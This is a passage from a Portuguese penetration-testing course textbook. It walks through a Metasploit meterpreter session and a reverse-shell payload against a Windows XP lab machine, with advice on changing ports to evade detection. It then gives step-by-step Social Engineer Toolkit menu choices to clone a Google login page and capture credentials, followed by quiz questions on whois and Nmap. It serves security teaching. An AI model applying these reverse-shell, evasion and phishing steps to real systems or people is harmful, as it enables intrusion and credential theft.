executados, digite “help” e pressione Enter. Nesse momento, já estamos dando comandos dentro da máquina-alvo. Foi criada uma porta de escuta 1091 no alvo e nossa máquina atacante Kali Linux está enviando comandos através da porta 4444. Essa porta é a padrão no Metasploit, e algumas ferramentas de proteção de mercado podem detectar essa atividade na porta 4444. É possível fazer alteração dessa porta a fim de contornar essas proteções. Observe que agora estamos no ambiente do meterpreter, que é nossa interface de comunicação, e estamos dando comandos dentro da máquina-alvo. Para saber em qual pasta estamos navegando, podemos digitar “pwd” e depois pressionar Enter. Figura 93 – Exploração dos alvos: tela 2 Podemos escolher outros métodos da lista para praticar diferentes invasões, basta configurar um payload específico que se deseja usar. • Digite “exit” e pressione Enter. • Para carregar um payload manualmente, digite “set payload windows/shell_reverse_tcp” e pressione Enter. • Para ver as opções desse payload, digite “show options” e pressione Enter. 100 Unidade III Figura 94 – Opções de payload Esse payload irá realizar o processo inverso do anterior. Assim, em vez de a máquina atacante se conectar ao alvo, faremos o alvo se conectar à máquina do atacante de forma “voluntária”. Para isso, temos novas opções nesse payload: EXITFUNC, LHOST, LPORT. São opções para verificar como serão a saída dos comandos e o IP local para conexão, bem como a porta local da conexão que será criada. • Para execução desse payload, digite “exploit” e pressione Enter. Nesse momento, uma sessão no cmd do Windows XP está aberta, e os comandos a serem executados são respectivos ao Windows, e não mais ao Linux. • Para listar a pasta onde o cmd está trabalhando, digite “dir” e pressione Enter. Figura 95 – Execução do payload 101 PARECERES E TESTES DE INVASÃO Lembrete Os payloads são um conjunto de instruções que fazem uma série de ações em aplicações que nem sempre estavam programadas para acontecer. Existem duas formas de conseguir acesso a um terminal de comando interno de um equipamento: Quadro 12 – Formas de acesso atacante Bind shell O atacante abre uma porta no alvo e se conecta diretamente a essa máquina Reverse shell Quando a máquina-alvo se conecta ao atacante, permitindo que este execute o comando nela Os bind shell eram mais comuns quando as ferramentas de proteção eram mais simples e não havia uma boa proteção de firewall. Hoje é comum firewalls bloquearem conexões de outras máquinas, principalmente, em portas incomuns como 4444. Quando mudamos o sentido da conexão, é menos provável que uma conexão saindo da máquina seja detectada como maliciosa, ainda mais se utilizarmos portas comuns para receber essa conexão, por exemplo, 443 (usada para https), 8080 (para servidores web) e até 23 (para envio de arquivos via SFTP). 6.7 SET (Social Engineer Toolkit) É uma ferramenta importante para a realização de ataques de engenharia social. Trata-se de um pacote de funcionalidades que ajudam a equipe de testes a fazer engenharia social usando pouco conhecimento técnico, porém influenciando as pessoas a tomarem ações aparentemente inofensivas, mas que podem gerar danos. Em seu terminal, digite: • “sudo setoolkit”. • Digite “y” e pressione Enter para aceitar os termos e as condições. 102 Unidade III Será apresentada a seguinte tela: Figura 96 – Exemplo SET: tela 1 Demonstraremos como fazer a cópia de uma página de login e senha existente para propósitos de teste e como receber essa informação para um ataquefuturo. • Digite “1” para selecionar Social-Engineering Attacks (Ataques de Engenharia Social) e pressione Enter. Figura 97 – Exemplo SET: tela 2 • Digite “2” para Website Attack Vectors (Vetor de Ataques em Websites). Figura 98 – Exemplo SET: tela 3 103 PARECERES E TESTES DE INVASÃO • Digite “3” para selecionar Credential Harvester Attack Method (Ataque de Coleta de Credenciais). Figura 99 – Exemplo SET: tela 4 • Digite “1” para selecionar Web Templates (Modelos Web). Nesse momento, a aplicação está perguntando qual IP que o usuário atacado terá que acessar para inserir as credenciais do acesso, ou seja, onde será hospedada a ameaça que deseja criar para coletar as credenciais. Utilizaremos o mesmo IP da máquina que estamos usando. No passo seguinte, será preciso escolher qual template será usado para se passar por um portal real de credenciamento. Usaremos a página inicial do Google: Figura 100 – Exemplo SET: tela 5 • Digite “2” e pressione Enter. Nessa etapa, o sistema já está aguardando conexões a partir do site clonado. Para ver essa página e testar o ataque, acesse o IP local da máquina no navegador. Abra outro terminal e digite: • “firefox 192.168.1.169” e pressione Enter. Note que foi criada dentro do seu servidor local uma página de login semelhante à usada pelo Google. Para testar a página, digite “teste@teste.com.br” e a senha “teste123”. Depois, clique em Entrar. 104 Unidade III Figura 101 – Exemplo SET: tela 6 As credenciais estão destacadas em vermelho, do modo como inserimos. Note que o acesso realizado direciona o usuário à página inicial do Google. Assim, caso o usuário desconfie, já estará na página oficial do Google. Resumo Nesta unidade, estudamos diversas atividades em funcionamento e ferramentas de obtenção de informações, como Maltego, Google Dorking, Whois, Dig e Nmap. A demonstração, mesmo simples, poderá trazer bons resultados. A atividade traz muitas respostas, e estas devem ser processadas para que seja levantado um conjunto de informações relevantes. Para fazer a enumeração de pastas em servidores web, usamos DIRB. Depois, partimos para uma exploração em nossa máquina Windows XP SP3, onde havia sistemas vulneráveis. Assim, vimos como podemos comprometer uma máquina através de injeção de uma funcionalidade do banco de dados MySQL e da linguagem PHP dentro do serviço web. Por meio das falhas de configuração encontradas na web, foi possível acessar outra ferramenta de gestão de servidores web, chamada WebDav. Usamos o Crunch para gerar um dicionário de senhas que são normalmente usadas para ataques de força bruta. Depois, com o Hydra, fizemos um ataque de força bruta no serviço de FTP e vimos as requisições serem feitas na máquina atacada. Em seguida, ilustramos diferentes tipos de shell, que são acessos a terminais de comandos remotos de máquinas comprometidas. Através do NetCat, conseguimos criar portas lógicas para escuta, para envio de informações e para arquivos. 105 PARECERES E TESTES DE INVASÃO Fizemos uso do Metasploit, um programa referência em exploração de vulnerabilidades. Conseguimos comprometer a máquina virtual Windows XP SP3 e obtivemos mais de uma forma de exploração de vulnerabilidades do Windows. Finalizamos nosso estudo com o uso de um kit de ferramentas para engenharia social. Para tal, mostramos uma página falsa que imita o portal do Google. O atacante fica aguardando a vítima digitar suas credenciais para ter seu acesso comprometido. De fato, é um ataque sem muita profundidade técnica, mas ainda extremamente efetivo, pois os seres humanos são baseados em emoções, as quais são exploradas pela engenharia social em muitos aspectos. Exercícios Questão 1. Desejamos saber o nome da pessoa responsável por dado site. É possível obter essa informação usando: A) Whois. B) owner. C) ls. D) Dir. E) ping. Resposta correta: alternativa A. Análise da questão O Whois varre os registros de um site e apresenta suas informações, como mostrado no exemplo a seguir, que indica a saída da pesquisa de www.unip.br no site who.is. O nome dos responsáveis pelo site foi marcado em negrito. % Copyright (c) Nic.br % The use of the data below is only permitted as described in % full by the terms of use at https://registro.br/termo/en.html , % being prohibited its distribution, commercialization or % reproduction, in particular, to use it for advertising or % any similar purpose. % 2020-08-30T13:29:52-03:00 – IP: 196.245.153.109 domain: unip.br owner: SOCIEDADE UNIF PAULISTA DE ENSINO REN OBJETIVO 106 Unidade III owner-c: LBS2 tech-c: EPM85 nserver: datcenter.unip.br 200.196.224.5 nsstat: 20200827 AA nslastaa: 20200827 nserver: datcenter2.unip.br 200.196.224.8 nsstat: 20200827 AA nslastaa: 20200827 created: 19990717 #175298 changed: 20190523 status: published nic-hdl-br: LBS2 person: Leonardo Barbosa Santos created: 19980310 changed: 20200423 nic-hdl-br: EPM85 person: Elisangela pereira monaco created: 20011228 changed: 20200828 % Security and mail abuse issues should also be addressed to % cert.br, http://www.cert.br/ , respectivelly to % and % % whois.registro.br accepts only direct match queries. Types % of queries are: domain (.br), registrant (tax ID), ticket, % provider, CIDR block, IP and ASN. Information Updated: 2020-08-30 16:29:52 Disponível em: https://who.is/whois/unip.br. Acesso em: 2 set. 2020. O comando ls é usado em Linux para a listagem do conteúdo de um diretório. O dir é o comando equivalente ao ls para ambientes Windows. O ping é o comando para o envio e a medida do tempo de resposta de um pacote de dados em uma rede. Questão 2. Na fase de levantamento de informações em um teste de invasão, podemos usar diversas ferramentas. Nesse sentido, considere os objetivos listados a seguir. I – Descobrir equipamentos em uma rede. II – Testar portas abertas. III – Verificar o status de serviços. IV – Detectar características de hardware. 107 PARECERES E TESTES DE INVASÃO São objetivos possíveis de serem alcançados usando a ferramenta Nmap: A) I e II, apenas. B) II e III, apenas. C) I e IV, apenas. D) I, III e IV, apenas. E) I, II, III e IV. Resposta correta: alternativa E. Análise da questão A ferramenta Nmap permite: • varrer os blocos de IP para descobrir equipamentos ligados na rede; • testar se os equipamentos têm portas abertas; • verificar se os serviços estão ativos ou não; • detectar características do hardware.
Compartilhar